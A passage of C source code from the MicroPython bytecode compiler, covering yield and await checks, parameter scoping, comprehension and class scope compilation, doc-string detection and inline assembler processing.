compile_subscript_3(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n    compile_subscript_3_helper(comp, pns);\n}\n#endif // MICROPY_PY_BUILTINS_SLICE\n\nSTATIC void compile_dictorsetmaker_item(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    // if this is called then we are compiling a dict key:value pair\n    compile_node(comp, pns->nodes[1]); // value\n    compile_node(comp, pns->nodes[0]); // key\n}\n\nSTATIC void compile_classdef(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    qstr cname = compile_classdef_helper(comp, pns, comp->scope_cur->emit_options);\n    // store class object into class name\n    compile_store_id(comp, cname);\n}\n\nSTATIC void compile_yield_expr(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->scope_cur->kind != SCOPE_FUNCTION && comp->scope_cur->kind != SCOPE_LAMBDA) {\n        compile_syntax_error(comp, (mp_parse_node_t)pns, \"'yield' outside function\");\n        return;\n    }\n    if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT(yield_value);\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_yield_arg_from)) {\n        pns = (mp_parse_node_struct_t*)pns->nodes[0];\n        compile_node(comp, pns->nodes[0]);\n        compile_yield_from(comp);\n    } else {\n        compile_node(comp, pns->nodes[0]);\n        EMIT(yield_value);\n    }\n}\n\n#if MICROPY_PY_ASYNC_AWAIT\nSTATIC void compile_atom_expr_await(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    if (comp->scope_cur->kind != SCOPE_FUNCTION && comp->scope_cur->kind != SCOPE_LAMBDA) {\n        compile_syntax_error(comp, (mp_parse_node_t)pns, \"'await' outside function\");\n        return;\n    }\n    compile_atom_expr_normal(comp, pns);\n    compile_yield_from(comp);\n}\n#endif\n\nSTATIC mp_obj_t get_const_object(mp_parse_node_struct_t *pns) {\n    #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D\n    // nodes are 32-bit pointers, but need to extract 64-bit object\n    return (uint64_t)pns->nodes[0] | ((uint64_t)pns->nodes[1] << 32);\n    #else\n    return (mp_obj_t)pns->nodes[0];\n    #endif\n}\n\nSTATIC void compile_const_object(compiler_t *comp, mp_parse_node_struct_t *pns) {\n    EMIT_ARG(load_const_obj, get_const_object(pns));\n}\n\ntypedef void (*compile_function_t)(compiler_t*, mp_parse_node_struct_t*);\nSTATIC const compile_function_t compile_function[] = {\n// only define rules with a compile function\n#define c(f) compile_##f\n#define DEF_RULE(rule, comp, kind, ...) comp,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef c\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    compile_const_object,\n};\n\nSTATIC void compile_node(compiler_t *comp, mp_parse_node_t pn) {\n    if (MP_PARSE_NODE_IS_NULL(pn)) {\n        // pass\n    } else if (MP_PARSE_NODE_IS_SMALL_INT(pn)) {\n        mp_int_t arg = MP_PARSE_NODE_LEAF_SMALL_INT(pn);\n        #if MICROPY_DYNAMIC_COMPILER\n        mp_uint_t sign_mask = -(1 << (mp_dynamic_compiler.small_int_bits - 1));\n        if ((arg & sign_mask) == 0 || (arg & sign_mask) == sign_mask) {\n            // integer fits in target runtime's small-int\n            EMIT_ARG(load_const_small_int, arg);\n        } else {\n            // integer doesn't fit, so create a multi-precision int object\n            // (but only create the actual object on the last pass)\n            if (comp->pass != MP_PASS_EMIT) {\n                EMIT_ARG(load_const_obj, mp_const_none);\n            } else {\n                EMIT_ARG(load_const_obj, mp_obj_new_int_from_ll(arg));\n            }\n        }\n        #else\n        EMIT_ARG(load_const_small_int, arg);\n        #endif\n    } else if (MP_PARSE_NODE_IS_LEAF(pn)) {\n        uintptr_t arg = MP_PARSE_NODE_LEAF_ARG(pn);\n        switch (MP_PARSE_NODE_LEAF_KIND(pn)) {\n            case MP_PARSE_NODE_ID: compile_load_id(comp, arg); break;\n            case MP_PARSE_NODE_STRING: EMIT_ARG(load_const_str, arg); break;\n            case MP_PARSE_NODE_BYTES:\n                // only create and load the actual bytes object on the last pass\n                if (comp->pass != MP_PASS_EMIT) {\n                    EMIT_ARG(load_const_obj, mp_const_none);\n                } else {\n                    size_t len;\n                    const byte *data = qstr_data(arg, &len);\n                    EMIT_ARG(load_const_obj, mp_obj_new_bytes(data, len));\n                }\n                break;\n            case MP_PARSE_NODE_TOKEN: default:\n                if (arg == MP_TOKEN_NEWLINE) {\n                    // this can occur when file_input lets through a NEWLINE (eg if file starts with a newline)\n                    // or when single_input lets through a NEWLINE (user enters a blank line)\n                    // do nothing\n                } else {\n                  EMIT_ARG(load_const_tok, arg);\n                }\n                break;\n        }\n    } else {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        EMIT_ARG(set_source_line, pns->source_line);\n        assert(MP_PARSE_NODE_STRUCT_KIND(pns) <= PN_const_object);\n        compile_function_t f = compile_function[MP_PARSE_NODE_STRUCT_KIND(pns)];\n        f(comp, pns);\n    }\n}\n\nSTATIC void compile_scope_func_lambda_param(compiler_t *comp, mp_parse_node_t pn, pn_kind_t pn_name, pn_kind_t pn_star, pn_kind_t pn_dbl_star) {\n    // check that **kw is last\n    if ((comp->scope_cur->scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) != 0) {\n        compile_syntax_error(comp, pn, \"invalid syntax\");\n        return;\n    }\n\n    qstr param_name = MP_QSTR_NULL;\n    uint param_flag = ID_FLAG_IS_PARAM;\n    if (MP_PARSE_NODE_IS_ID(pn)) {\n        param_name = MP_PARSE_NODE_LEAF_ARG(pn);\n        if (comp->have_star) {\n            // comes after a star, so counts as a keyword-only parameter\n            comp->scope_cur->num_kwonly_args += 1;\n        } else {\n            // comes before a star, so counts as a positional parameter\n            comp->scope_cur->num_pos_args += 1;\n        }\n    } else {\n        assert(MP_PARSE_NODE_IS_STRUCT(pn));\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        if (MP_PARSE_NODE_STRUCT_KIND(pns) == pn_name) {\n            param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n            if (comp->have_star) {\n                // comes after a star, so counts as a keyword-only parameter\n                comp->scope_cur->num_kwonly_args += 1;\n            } else {\n                // comes before a star, so counts as a positional parameter\n                comp->scope_cur->num_pos_args += 1;\n            }\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == pn_star) {\n            if (comp->have_star) {\n                // more than one star\n                compile_syntax_error(comp, pn, \"invalid syntax\");\n                return;\n            }\n            comp->have_star = true;\n            param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_STAR_PARAM;\n            if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) {\n                // bare star\n                // TODO see http://www.python.org/dev/peps/pep-3102/\n                //assert(comp->scope_cur->num_dict_params == 0);\n            } else if (MP_PARSE_NODE_IS_ID(pns->nodes[0])) {\n                // named star\n                comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS;\n                param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n            } else {\n                assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_tfpdef)); // should be\n                // named star with possible annotation\n                comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS;\n                pns = (mp_parse_node_struct_t*)pns->nodes[0];\n                param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n            }\n        } else {\n            assert(MP_PARSE_NODE_STRUCT_KIND(pns) == pn_dbl_star); // should be\n            param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n            param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_DBL_STAR_PARAM;\n            comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARKEYWORDS;\n        }\n    }\n\n    if (param_name != MP_QSTR_NULL) {\n        bool added;\n        id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, param_name, &added);\n        if (!added) {\n            compile_syntax_error(comp, pn, \"name reused for argument\");\n            return;\n        }\n        id_info->kind = ID_INFO_KIND_LOCAL;\n        id_info->flags = param_flag;\n    }\n}\n\nSTATIC void compile_scope_func_param(compiler_t *comp, mp_parse_node_t pn) {\n    compile_scope_func_lambda_param(comp, pn, PN_typedargslist_name, PN_typedargslist_star, PN_typedargslist_dbl_star);\n}\n\nSTATIC void compile_scope_lambda_param(compiler_t *comp, mp_parse_node_t pn) {\n    compile_scope_func_lambda_param(comp, pn, PN_varargslist_name, PN_varargslist_star, PN_varargslist_dbl_star);\n}\n\n#if MICROPY_EMIT_NATIVE\nSTATIC void compile_scope_func_annotations(compiler_t *comp, mp_parse_node_t pn) {\n    if (!MP_PARSE_NODE_IS_STRUCT(pn)) {\n        // no annotation\n        return;\n    }\n\n    mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n    if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_typedargslist_name) {\n        // named parameter with possible annotation\n        // fallthrough\n    } else if (MP_PARSE_NODE_STRUCT_KIND(pns) == PN_typedargslist_star) {\n        if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_tfpdef)) {\n            // named star with possible annotation\n            pns = (mp_parse_node_struct_t*)pns->nodes[0];\n            // fallthrough\n        } else {\n            // no annotation\n            return;\n        }\n    } else {\n        assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_typedargslist_dbl_star);\n        // double star with possible annotation\n        // fallthrough\n    }\n\n    mp_parse_node_t pn_annotation = pns->nodes[1];\n\n    if (!MP_PARSE_NODE_IS_NULL(pn_annotation)) {\n        qstr param_name = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]);\n        id_info_t *id_info = scope_find(comp->scope_cur, param_name);\n        assert(id_info != NULL);\n\n        if (MP_PARSE_NODE_IS_ID(pn_annotation)) {\n            qstr arg_type = MP_PARSE_NODE_LEAF_ARG(pn_annotation);\n            EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ARG, id_info->local_num, arg_type);\n        } else {\n            compile_syntax_error(comp, pn_annotation, \"parameter annotation must be an identifier\");\n        }\n    }\n}\n#endif // MICROPY_EMIT_NATIVE\n\nSTATIC void compile_scope_comp_iter(compiler_t *comp, mp_parse_node_struct_t *pns_comp_for, mp_parse_node_t pn_inner_expr, int for_depth) {\n    uint l_top = comp_next_label(comp);\n    uint l_end = comp_next_label(comp);\n    EMIT_ARG(label_assign, l_top);\n    EMIT_ARG(for_iter, l_end);\n    c_assign(comp, pns_comp_for->nodes[0], ASSIGN_STORE);\n    mp_parse_node_t pn_iter = pns_comp_for->nodes[2];\n\n    tail_recursion:\n    if (MP_PARSE_NODE_IS_NULL(pn_iter)) {\n        // no more nested if/for; compile inner expression\n        compile_node(comp, pn_inner_expr);\n        if (comp->scope_cur->kind == SCOPE_GEN_EXPR) {\n            EMIT(yield_value);\n            EMIT(pop_top);\n        } else {\n            EMIT_ARG(store_comp, comp->scope_cur->kind, 4 * for_depth + 5);\n        }\n    } else if (MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_iter) == PN_comp_if) {\n        // if condition\n        mp_parse_node_struct_t *pns_comp_if = (mp_parse_node_struct_t*)pn_iter;\n        c_if_cond(comp, pns_comp_if->nodes[0], false, l_top);\n        pn_iter = pns_comp_if->nodes[1];\n        goto tail_recursion;\n    } else {\n        assert(MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn_iter) == PN_comp_for); // should be\n        // for loop\n        mp_parse_node_struct_t *pns_comp_for2 = (mp_parse_node_struct_t*)pn_iter;\n        compile_node(comp, pns_comp_for2->nodes[1]);\n        EMIT_ARG(get_iter, true);\n        compile_scope_comp_iter(comp, pns_comp_for2, pn_inner_expr, for_depth + 1);\n    }\n\n    EMIT_ARG(jump, l_top);\n    EMIT_ARG(label_assign, l_end);\n    EMIT(for_iter_end);\n}\n\nSTATIC void check_for_doc_string(compiler_t *comp, mp_parse_node_t pn) {\n#if MICROPY_ENABLE_DOC_STRING\n    // see http://www.python.org/dev/peps/pep-0257/\n\n    // look for the first statement\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) {\n        // a statement; fall through\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_file_input_2)) {\n        // file input; find the first non-newline node\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n        for (int i = 0; i < num_nodes; i++) {\n            pn = pns->nodes[i];\n            if (!(MP_PARSE_NODE_IS_LEAF(pn) && MP_PARSE_NODE_LEAF_KIND(pn) == MP_PARSE_NODE_TOKEN && MP_PARSE_NODE_LEAF_ARG(pn) == MP_TOKEN_NEWLINE)) {\n                // not a newline, so this is the first statement; finish search\n                break;\n            }\n        }\n        // if we didn't find a non-newline then it's okay to fall through; pn will be a newline and so doc-string test below will fail gracefully\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_suite_block_stmts)) {\n        // a list of statements; get the first one\n        pn = ((mp_parse_node_struct_t*)pn)->nodes[0];\n    } else {\n        return;\n    }\n\n    // check the first statement for a doc string\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0])\n                && MP_PARSE_NODE_LEAF_KIND(pns->nodes[0]) == MP_PARSE_NODE_STRING)\n            || (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_const_object)\n                && MP_OBJ_IS_STR(get_const_object((mp_parse_node_struct_t*)pns->nodes[0])))) {\n                // compile the doc string\n                compile_node(comp, pns->nodes[0]);\n                // store the doc string\n                compile_store_id(comp, MP_QSTR___doc__);\n        }\n    }\n#else\n    (void)comp;\n    (void)pn;\n#endif\n}\n\nSTATIC void compile_scope(compiler_t *comp, scope_t *scope, pass_kind_t pass) {\n    comp->pass = pass;\n    comp->scope_cur = scope;\n    comp->next_label = 0;\n    EMIT_ARG(start_pass, pass, scope);\n\n    if (comp->pass == MP_PASS_SCOPE) {\n        // reset maximum stack sizes in scope\n        // they will be computed in this first pass\n        scope->stack_size = 0;\n        scope->exc_stack_size = 0;\n    }\n\n    // compile\n    if (MP_PARSE_NODE_IS_STRUCT_KIND(scope->pn, PN_eval_input)) {\n        assert(scope->kind == SCOPE_MODULE);\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn;\n        compile_node(comp, pns->nodes[0]); // compile the expression\n        EMIT(return_value);\n    } else if (scope->kind == SCOPE_MODULE) {\n        if (!comp->is_repl) {\n            check_for_doc_string(comp, scope->pn);\n        }\n        compile_node(comp, scope->pn);\n        EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        EMIT(return_value);\n    } else if (scope->kind == SCOPE_FUNCTION) {\n        assert(MP_PARSE_NODE_IS_STRUCT(scope->pn));\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn;\n        assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_funcdef);\n\n        // work out number of parameters, keywords and default parameters, and add them to the id_info array\n        // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc)\n        if (comp->pass == MP_PASS_SCOPE) {\n            comp->have_star = false;\n            apply_to_single_or_list(comp, pns->nodes[1], PN_typedargslist, compile_scope_func_param);\n        }\n        #if MICROPY_EMIT_NATIVE\n        else if (scope->emit_options == MP_EMIT_OPT_VIPER) {\n            // compile annotations; only needed on latter compiler passes\n            // only needed for viper emitter\n\n            // argument annotations\n            apply_to_single_or_list(comp, pns->nodes[1], PN_typedargslist, compile_scope_func_annotations);\n\n            // pns->nodes[2] is return/whole function annotation\n            mp_parse_node_t pn_annotation = pns->nodes[2];\n            if (!MP_PARSE_NODE_IS_NULL(pn_annotation)) {\n                // nodes[2] can be null or a test-expr\n                if (MP_PARSE_NODE_IS_ID(pn_annotation)) {\n                    qstr ret_type = MP_PARSE_NODE_LEAF_ARG(pn_annotation);\n                    EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_RETURN, 0, ret_type);\n                } else {\n                    compile_syntax_error(comp, pn_annotation, \"return annotation must be an identifier\");\n                }\n            }\n        }\n        #endif // MICROPY_EMIT_NATIVE\n\n        compile_node(comp, pns->nodes[3]); // 3 is function body\n        // emit return if it wasn't the last opcode\n        if (!EMIT(last_emit_was_return_value)) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n            EMIT(return_value);\n        }\n    } else if (scope->kind == SCOPE_LAMBDA) {\n        assert(MP_PARSE_NODE_IS_STRUCT(scope->pn));\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn;\n        assert(MP_PARSE_NODE_STRUCT_NUM_NODES(pns) == 3);\n\n        // work out number of parameters, keywords and default parameters, and add them to the id_info array\n        // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc)\n        if (comp->pass == MP_PASS_SCOPE) {\n            comp->have_star = false;\n            apply_to_single_or_list(comp, pns->nodes[0], PN_varargslist, compile_scope_lambda_param);\n        }\n\n        compile_node(comp, pns->nodes[1]); // 1 is lambda body\n\n        // if the lambda is a generator, then we return None, not the result of the expression of the lambda\n        if (scope->scope_flags & MP_SCOPE_FLAG_GENERATOR) {\n            EMIT(pop_top);\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        }\n        EMIT(return_value);\n    } else if (scope->kind == SCOPE_LIST_COMP || scope->kind == SCOPE_DICT_COMP || scope->kind == SCOPE_SET_COMP || scope->kind == SCOPE_GEN_EXPR) {\n        // a bit of a hack at the moment\n\n        assert(MP_PARSE_NODE_IS_STRUCT(scope->pn));\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn;\n        assert(MP_PARSE_NODE_STRUCT_NUM_NODES(pns) == 2);\n        assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[1], PN_comp_for));\n        mp_parse_node_struct_t *pns_comp_for = (mp_parse_node_struct_t*)pns->nodes[1];\n\n        // We need a unique name for the comprehension argument (the iterator).\n        // CPython uses .0, but we should be able to use anything that won't\n        // clash with a user defined variable.  Best to use an existing qstr,\n        // so we use the blank qstr.\n        qstr qstr_arg = MP_QSTR_;\n        if (comp->pass == MP_PASS_SCOPE) {\n            bool added;\n            id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qstr_arg, &added);\n            assert(added);\n            id_info->kind = ID_INFO_KIND_LOCAL;\n            scope->num_pos_args = 1;\n        }\n\n        if (scope->kind == SCOPE_LIST_COMP) {\n            EMIT_ARG(build_list, 0);\n        } else if (scope->kind == SCOPE_DICT_COMP) {\n            EMIT_ARG(build_map, 0);\n        #if MICROPY_PY_BUILTINS_SET\n        } else if (scope->kind == SCOPE_SET_COMP) {\n            EMIT_ARG(build_set, 0);\n        #endif\n        }\n\n        // There are 4 slots on the stack for the iterator, and the first one is\n        // NULL to indicate that the second one points to the iterator object.\n        if (scope->kind == SCOPE_GEN_EXPR) {\n            // TODO static assert that MP_OBJ_ITER_BUF_NSLOTS == 4\n            EMIT(load_null);\n            compile_load_id(comp, qstr_arg);\n            EMIT(load_null);\n            EMIT(load_null);\n        } else {\n            compile_load_id(comp, qstr_arg);\n            EMIT_ARG(get_iter, true);\n        }\n\n        compile_scope_comp_iter(comp, pns_comp_for, pns->nodes[0], 0);\n\n        if (scope->kind == SCOPE_GEN_EXPR) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        }\n        EMIT(return_value);\n    } else {\n        assert(scope->kind == SCOPE_CLASS);\n        assert(MP_PARSE_NODE_IS_STRUCT(scope->pn));\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn;\n        assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_classdef);\n\n        if (comp->pass == MP_PASS_SCOPE) {\n            bool added;\n            id_info_t *id_info = scope_find_or_add_id(scope, MP_QSTR___class__, &added);\n            assert(added);\n            id_info->kind = ID_INFO_KIND_LOCAL;\n        }\n\n        compile_load_id(comp, MP_QSTR___name__);\n        compile_store_id(comp, MP_QSTR___module__);\n        EMIT_ARG(load_const_str, MP_PARSE_NODE_LEAF_ARG(pns->nodes[0])); // 0 is class name\n        compile_store_id(comp, MP_QSTR___qualname__);\n\n        check_for_doc_string(comp, pns->nodes[2]);\n        compile_node(comp, pns->nodes[2]); // 2 is class body\n\n        id_info_t *id = scope_find(scope, MP_QSTR___class__);\n        assert(id != NULL);\n        if (id->kind == ID_INFO_KIND_LOCAL) {\n            EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE);\n        } else {\n            EMIT_LOAD_FAST(MP_QSTR___class__, id->local_num);\n        }\n        EMIT(return_value);\n    }\n\n    EMIT(end_pass);\n\n    // make sure we match all the exception levels\n    assert(comp->cur_except_level == 0);\n}\n\n#if MICROPY_EMIT_INLINE_ASM\n// requires 3 passes: SCOPE, CODE_SIZE, EMIT\nSTATIC void compile_scope_inline_asm(compiler_t *comp, scope_t *scope, pass_kind_t pass) {\n    comp->pass = pass;\n    comp->scope_cur = scope;\n    comp->next_label = 0;\n\n    if (scope->kind != SCOPE_FUNCTION) {\n        compile_syntax_error(comp, MP_PARSE_NODE_NULL, \"inline assembler must be a function\");\n        return;\n    }\n\n    if (comp->pass > MP_PASS_SCOPE) {\n        EMIT_INLINE_ASM_ARG(start_pass, comp->pass, &comp->compile_error);\n    }\n\n    // get the function definition parse node\n    assert(MP_PARSE_NODE_IS_STRUCT(scope->pn));\n    mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)scope->pn;\n    assert(MP_PARSE_NODE_STRUCT_KIND(pns) == PN_funcdef);\n\n    //qstr f_id = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); // function name\n\n    // parameters are in pns->nodes[1]\n    if (comp->pass == MP_PASS_CODE_SIZE) {\n        mp_parse_node_t *pn_params;\n        int n_params = mp_parse_node_extract_list(&pns->nodes[1], PN_typedargslist, &pn_params);\n        scope->num_pos_args = EMIT_INLINE_ASM_ARG(count_params, n_params, pn_params);\n        if (comp->compile_error != MP_OBJ_NULL) {\n            goto inline_asm_error;\n        }\n    }\n\n    // pns->nodes[2] is function return annotation\n    mp_uint_t type_sig = MP_NATIVE_TYPE_INT;\n    mp_parse_node_t pn_annotation = pns->nodes[2];\n    if (!MP_PARSE_NODE_IS_NULL(pn_annotation)) {\n        // nodes[2] can be null or a test-expr\n        if (MP_PARSE_NODE_IS_ID(pn_annotation)) {\n            qstr ret_type = MP_PARSE_NODE_LEAF_ARG(pn_annotation);\n            switch (ret_type) {\n                case MP_QSTR_object: type_sig = MP_NATIVE_TYPE_OBJ; break;\n                case MP_QSTR_bool: type_sig = MP_NATIVE_TYPE_BOOL; break;\n                case MP_QSTR_int: type_sig = MP_NATIVE_TYPE_INT; break;\n                case MP_QSTR_uint: type_sig = MP_NATIVE_TYPE_UINT; break;\n                default: compile_syntax_error(comp, pn_annotation, \"unknown type\"); return;\n            }\n        } else {\n            compile_syntax_error(comp, pn_annotation, \"return annotation must be an identifier\");\n        }\n    }\n\n    mp_parse_node_t pn_body = pns->nodes[3]; // body\n    mp_parse_node_t *nodes;\n    int num = mp_parse_node_extract_list(&pn_body, PN_suite_block_stmts, &nodes);\n\n    for (int i = 0; i < num; i++) {\n        assert(MP_PARSE_NODE_IS_STRUCT(nodes[i]));\n        mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)nodes[i];\n        if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_pass_stmt) {\n            // no instructions\n            continue;\n        } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) != PN_expr_stmt) {\n            // not an instruction; error\n        not_an_instruction:\n            compile_syntax_error(comp, nodes[i], \"expecting an assembler instruction\");\n            return;\n        }\n\n        // check structure of parse node\n        assert(MP_PARSE_NODE_IS_STRUCT(pns2->nodes[0]));\n        if (!MP_PARSE_NODE_IS_NULL(pns2->nodes[1])) {\n            goto not_an_instruction;\n        }\n        pns2 = (mp_parse_node_struct_t*)pns2->nodes[0];\n        if (MP_PARSE_NODE_STRUCT_KIND(pns2) != PN_atom_expr_normal) {\n            goto not_an_instruction;\n        }\n        if (!MP_PARSE_NODE_IS_ID(pns2->nodes[0])) {\n            goto not_an_instruction;\n        }\n        if (!MP_PARSE_NODE_IS_STRUCT_KIND(pns2->nodes[1], PN_trailer_paren)) {\n            goto not_an_instruction;\n        }\n\n        // parse node looks like an instruction\n        // get instruction name and args\n        qstr op = MP_PARSE_NODE_LEAF_ARG(pns2->nodes[0]);\n        pns2 = (mp_parse_node_struct_t*)pns2->nodes[1]; // PN_trailer_paren\n        mp_parse_node_t *pn_arg;\n        int n_args = mp_parse_node_extract_list(&pns2->nodes[0], PN_arglist, &pn_arg);\n\n        // emit instructions\n        if (op == MP_QSTR_label) {\n            if (!(n_args == 1 && MP_PARSE_NODE_IS_ID(pn_arg[0]))) {\n                compile_syntax_error(comp, nodes[i], \"'label' requires 1 argument\");\n                return;\n            }\n            uint lab = comp_next_label(comp);\n            if (pass > MP_PASS_SCOPE) {\n                if (!EMIT_INLINE_ASM_ARG(label, lab, MP_PARSE_NODE_LEAF_ARG(pn_arg[0]))) {\n                    compile_syntax_error(comp, nodes[i], \"label redefined\");\n                    return;\n                }\n            }\n        } else if (op == MP_QSTR_align) {\n            if (!(n_args == 1 && MP_PARSE_NODE_IS_SMALL_INT(pn_arg[0]))) {\n                compile_syntax_error(comp, nodes[i], \"'align' requires 1 argument\");\n                return;\n            }\n            if (pass > MP_PASS_SCOPE) {\n                mp_asm_base_align((mp_asm_base_t*)comp->emit_inline_asm,\n                    MP_PARSE_NODE_LEAF_SMALL_INT(pn_arg[0]));\n            }\n        } else if (op == MP_QSTR_data) {\n            if (!(n_args >= 2 && MP_PARSE_NODE_IS_SMALL_INT(pn_arg[0]))) {\n                compile_syntax_error(comp, nodes[i], \"'data' requires at least 2 arguments\");\n                return;\n            }\n            if (pass > MP_PASS_SCOPE) {\n                mp_int_t bytesize = MP_PARSE_NODE_LEAF_SMALL_INT(pn_arg[0]);\n                for (uint j = 1; j < n_args; j++) {\n                    if (!MP_PARSE_NODE_IS_SMALL_INT(pn_arg[j])) {\n                        compile_syntax_error(comp, nodes[i], \"'data' requires integer arguments\");\n                        return;\n                    }\n                    mp_asm_base_data((mp_asm_base_t*)comp->emit_inline_asm,\n                        bytesize, MP_PARSE_NODE_LEAF_SMALL_INT(pn_arg[j]));\n                }\n            }\n        } else {\n            if (pass > MP_PASS_SCOPE) {\n                EMIT_INLINE_ASM_ARG(op, op, n_args, pn_arg);\n            }\n        }\n\n        if (comp->compile_error != MP_OBJ_NULL) {\n            pns = pns2; // this is the parse node that had the error\n            goto inline_asm_error;\n        }\n    }\n\n    if (comp->pass > MP_PASS_SCOPE) {\n        EMIT_INLINE_ASM_ARG(end_pass, type_sig);\n\n        if (comp->pass == MP_PASS_EMIT) {\n            void *f = mp_asm_base_get_code((mp_asm_base_t*)comp->emit_inline_asm);\n            mp_emit_glue_assign_native(comp->scope_cur->raw_code, MP_CODE_NATIVE_ASM,\n                f, mp_asm_base_get_code_size((mp_asm_base_t*)comp->emit_inline_asm),\n                NULL, comp->scope_cur->num_pos_args, 0, type_sig);\n        }\n    }\n\n    if (comp->compile_error != MP_OBJ_NULL) {\n        // inline assembler had an error; set line for its exception\n    inline_asm_error:\n        comp->compile_error_line = pns->source_line;\n    }\n}\n#endif\n\nSTATIC void scope_compute_things(scope_t *scope) {\n    // in MicroPython we put the *x parameter after all other parameters (except **y)\n    if (scope->scope_flags & MP_SCOPE_FLAG_VARARGS) {\n        id_info_t *id_param = NULL;\n        for (int i = scope->id_info_len - 1; i >= 0; i--) {\n            id_info_t *id = &scope->id_info[i];\n            if (id->flags & ID_FLAG_IS_STAR_PARAM) {\n                if (id_param != NULL) {\n                    // swap star param with last param\n                    id_info_t temp = *id_param; *id_param = *id; *id = temp;\n                }\n                break;\n            } else if (id_param == NULL && id->flags == ID_FLAG_IS_PARAM) {\n                id_param = id;\n            }\n        }\n    }\n\n    // in functions, turn implicit globals into explicit globals\n    // compute the index of each local\n    scope->num_locals = 0;\n    for (int i = 0; i < scope->id_info_len; i++) {\n        id_info_t *id = &scope->id_info[i];\n        if (scope->kind == SCOPE_CLASS && id->qst == MP_QSTR___class__) {\n            // __class__ is not counted as a local; if it's used then it becomes a ID_INFO_KIND_CELL\n            continue;\n        }\n        if (SCOPE_IS_FUNC_LIKE(scope->kind) && id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) {\n            id->kind = ID_INFO_KIND_GLOBAL_EXPLICIT;\n        }\n        // params always count for 1 local, even if they are a cell\n        if (id->kind == ID_INFO_KIND_LOCAL || (id->flags & ID_FLAG_IS_PARAM)) {\n            id->local_num = scope->num_locals++;\n        }\n    }\n\n    // compute the index of cell vars\n    for (int i = 0; i < scope->id_info_len; i++) {\n        id_info_t *id = &scope->id_info[i];\n        // in MicroPython the cells come right after the fast locals\n        // parameters are not counted here, since they remain at the start\n        // of the locals, even if they are cell vars\n        if (id->kind == ID_INFO_KIND_CELL && !(id->flags & ID_FLAG_IS_PARAM)) {\n            id->local_num = scope->num_locals;\n            scope->num_locals += 1;\n        }\n    }\n\n    // compute the index of free vars\n    // make sure they are in the order of the parent scope\n    if (scope->parent != NULL) {\n        int num_free = 0;\n        for (int i = 0; i < scope->parent->id_info_len; i++) {\n            id_info_t *id = &scope->parent->id_info[i];\n            if (id->kind == ID_INFO_KIND_CELL || id->kind == 